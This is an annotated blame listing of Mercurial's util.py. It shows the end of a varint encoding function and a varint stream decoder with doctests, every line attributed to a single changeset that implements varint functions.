2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3980 value >>= 7
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3981 bytes = []
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3982 while value:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3983 bytes.append(pycompat.bytechr(0x80 | bits))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3984 bits = value & 0x7f
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3985 value >>= 7
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3986 bytes.append(pycompat.bytechr(bits))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3987
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3988 return ''.join(bytes)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3989
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3990 def uvarintdecodestream(fh):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3991 """Decode an unsigned variable length integer from a stream.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3992
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3993 The passed argument is anything that has a ``.read(N)`` method.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3994
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3995 >>> try:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3996 ... from StringIO import StringIO as BytesIO
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3997 ... except ImportError:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3998 ... from io import BytesIO
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
3999 >>> uvarintdecodestream(BytesIO(b'\\x00'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4000 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4001 >>> uvarintdecodestream(BytesIO(b'\\x01'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4002 1
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4003 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4004 127
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4005 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4006 1337
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4007 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4008 65536
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4009 >>> uvarintdecodestream(BytesIO(b'\\x80'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4010 Traceback (most recent call last):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4011 ...
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4012 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4013 """
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4014 result = 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4015 shift = 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4016 while True:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4017 byte = ord(readexactly(fh, 1))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4018 result |= ((byte & 0x7f) << shift)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4019 if not (byte & 0x80):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4020 return result
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
4021 shift += 7